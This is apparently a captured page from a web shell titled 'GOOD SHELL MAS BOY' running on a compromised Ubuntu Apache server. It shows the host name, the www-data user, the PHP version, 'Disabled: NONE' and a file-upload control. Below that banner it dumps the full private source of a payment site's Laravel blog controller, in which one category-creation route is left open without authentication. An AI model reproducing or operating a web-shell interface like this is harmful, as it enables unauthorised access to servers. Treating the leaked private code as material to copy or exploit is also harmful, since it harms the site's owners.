GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/vaspayment.com/app/Http/Controllers/BlogController.php
<?php

namespace App\Http\Controllers;

use App\Models\Blog;
use Facebook\Facebook;
use App\Models\Comment;
use Cloudinary\Cloudinary;
use Illuminate\Support\Str;
use App\Models\BlogCategory;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\Controller;
use Cloudinary\Transformation\Resize;
use Abraham\TwitterOAuth\TwitterOAuth;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Validator;

class BlogController extends Controller
{

    public function __construct()
    {
        $this->middleware(['auth', 'verified', 'agent'])->except('show', 'list', 'allBlog', 'allCategory', 'storeCat');
    }
    public function index()
    {
        $blogs = Blog::all();
        return view('settings.blog.index', compact("blogs"));
    }
    // for api
    public function allBlog()
    {
        return response()->json([
            'status' => 'success',
            "data" => Blog::latest()->limit(20)->get(),
        ], 200);
    }
    public function allCategory()
    {
        return response()->json([
            'status' => 'success',
            "data" => BlogCategory::latest()->limit(20)->get(),
        ], 200);
    }

    public function storeCat(Request $request)
    {

        try {
            $validatedData = $request->validate([
                'name' => 'required|string',
            ]);
            $category = new BlogCategory();
            $category->name = $validatedData['name'];
            $category->slug = Str::slug($validatedData['name'], '-');
            $category->save();
            return response()->json(['status' => 'success', 'message' => 'Blog Category post Saved'], 200);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'error', 'message' => $th->getMessage()]);
        }
    }


    public function create()
    {
        $categories = BlogCategory::latest()->get();
        return view('settings.blog.create', compact('categories'));
    }

    public function comment()
    {
        return view('settings.blog.create');
    }

    public function category()
    {
        $categories = BlogCategory::all();
        return view('settings.blog.category', compact('categories'));
    }

    public function list()
    {
        $blogs = Blog::latest()->paginate(10);
        $oldest = Blog::select('title', 'image', 'created_at', 'slug')->inRandomOrder()->limit(2)->get();
        return view('settings.blog.list', compact("blogs", "oldest"));
    }


    public function storeCategory(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'name' => 'required|string',
        ]);

        if ($validator->fails()) {
            return redirect()->back()->with('error', $validator->errors()->first());
        }

        try {
            $category = new BlogCategory();
            $category->name = $request->get('name');
            $category->slug = Str::slug($request['name'], '-');

            $category->save();
            return redirect()->back()->with('status', 'Blog Category post Saved');
        } catch (\Throwable $th) {
            return redirect()->back()->with('error', $th->getMessage());
        }
    }

    public function store(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'title' => 'required|string',
            'description' => 'required',
            'tag' => 'nullable|string',
            'category_id' => 'required|string',
            'image' => 'required|image',
            'keywords' => 'nullable|string',
            'meta_description' => 'nullable|string',
            'author' => 'nullable|string',
            'publish_date' => 'nullable|date',
            'read_time' => 'nullable|integer',
            'featured' => 'nullable|boolean',
        ]);

        if ($validator->fails()) {
            return redirect()->back()->with('error', $validator->errors()->first());
        }

        try {
            $blog = new Blog();
            $blog->title = $request->get('title');
            $blog->slug = Str::slug($request['title'], '-');
            $blog->description = $request->get('description');
            $blog->tag = $request->get('tag');
            $blog->category_id = $request->get('category_id');
            $blog->keywords = $request->get('keywords');
            $blog->meta_description = $request->get('meta_description');
            $blog->author = $request->get('author') ?? 'Admin';
            $blog->publish_date = $request->get('publish_date') ?? now();
            $blog->read_time = $request->get('read_time') ?? 5; // Default read time
            $blog->featured = $request->get('featured') ?? false;

            if ($request->hasFile('image')) {
                // Upload image to Cloudinary
                $cloudinary = new Cloudinary();
                $uploadResult = $cloudinary->uploadApi()->upload(
                    $request->file('image')->getRealPath(),
                    ['folder' => 'blogImages']
                );
                $blog->image = $uploadResult['secure_url'];

                $resizedImageUrl = $cloudinary->image($uploadResult['public_id'])
                    ->resize(Resize::fill(1200, 630)) // Resize to Open Graph recommended size
                    ->toUrl();
                $blog->resize_image = $resizedImageUrl;
            }

            $blog->save();
            // Share post on social platforms
            // $this->shareOnFacebook($blog);
            // $this->shareOnTwitter($blog);
            return redirect()->back()->with('status', 'Blog post saved successfully');
        } catch (\Throwable $th) {
            return redirect()->back()->with('error', $th->getMessage());
        }
    }


    // Function to share on Facebook
    protected function shareOnFacebook($blog)
    {
        $fb = new Facebook(config: [
            'app_id' => env('FACEBOOK_APP_ID'),
            'app_secret' => env('FACEBOOK_APP_SECRET'),
            'default_graph_version' => 'v11.0',
        ]);

        try {
            $fb->post('/me/feed', [
                'message' => $blog->title,
                'link' => route('blog.show', $blog->slug),
            ], env('FACEBOOK_PAGE_ACCESS_TOKEN'));
        } catch (\Facebook\Exceptions\FacebookResponseException $e) {
            Log::error("Facebook Graph returned an error: " . $e->getMessage());
        } catch (\Facebook\Exceptions\FacebookSDKException $e) {
            Log::error("Facebook SDK returned an error: " . $e->getMessage());
        }
    }

    // Function to share on Twitter
    protected function shareOnTwitter($blog)
    {
        $twitter = new TwitterOAuth(
            env('TWITTER_API_KEY'),
            env('TWITTER_API_SECRET'),
            env('TWITTER_ACCESS_TOKEN'),
            env('TWITTER_ACCESS_TOKEN_SECRET')
        );

        $twitter->post('statuses/update', [
            'status' => $blog->title . ' ' . route('blog.show', $blog->slug)
        ]);

        if ($twitter->getLastHttpCode() != 200) {
            Log::error("Error posting to Twitter.");
        }
    }
    public function show(Blog $blog)
    {
        $comments = Comment::where('blog_id', '=', $blog->id)->get();
        $oldest = Blog::select('title', 'image', 'created_at', 'slug')->inRandomOrder()->limit(2)->get();
        return view('settings.blog.show', compact('blog', 'oldest', 'comments'));
    }

    public function edit(Blog $blog)
    {
        //
    }

    public function update(Request $request, Blog $blog)
    {
        try {
            $blog->title = $request->get('title');
            $blog->slug = Str::slug($request['title'], '-');
            $blog->description = $request->get('description');
            $blog->tag = $request->get('tag');
            $blog->category = $request->get('category');

            // Check if there's an image file in the request
            if ($request->hasFile('image')) {
                if ($blog->image) {
                    Storage::disk('public')->delete(str_replace('/storage/', '', $blog->image));
                }
                $blog->image = '/storage/' . $request->file('image')->store('blogImages', 'public');
            }

            $blog->save();
            return redirect()->back()->with('status', 'Blog post updated successfully.');
        } catch (\Throwable $th) {
            return redirect()->back()->with('error', $th->getMessage());
        }
    }


    public function updateCategory(Request $request)
    {
        // Validate that both 'id' and 'name' fields are provided
        $request->validate([
            'id' => 'required|exists:blog_categories,id',
            'name' => 'required|string|max:255',
        ]);

        try {
            // Find the category by ID
            $category = BlogCategory::find($request->id);

            if ($category) {
                // Update the category's name and slug
                $category->name = $request->get('name');
                $category->slug = Str::slug($request->get('name'), '-');

                // Save the updated category
                $category->save();

                return redirect()->back()->with('status', 'Blog category updated successfully.');
            } else {
                return redirect()->back()->with('error', 'Category not found.');
            }
        } catch (\Throwable $th) {
            // Handle exceptions and provide feedback to the user
            return redirect()->back()->with('error', 'Error updating category: ' . $th->getMessage());
        }
    }


    public function destroy(Blog $blog)
    {
        $blog->delete();
        return redirect()->back()->with('status', 'Blog post deleted');
    }
    public function destroyCategory(Request $request, $slug)
    {
        try {
            // Attempt to find the category by slug
            $category = BlogCategory::where('slug', $slug)->firstOrFail();

            // Delete the category
            $category->delete();

            return redirect()->back()->with('status', 'Blog category deleted successfully.');
        } catch (\Throwable $th) {
            // Handle exceptions and provide feedback to the user
            return redirect()->back()->with('error', 'Error deleting category: ' . $th->getMessage());
        }
    }
}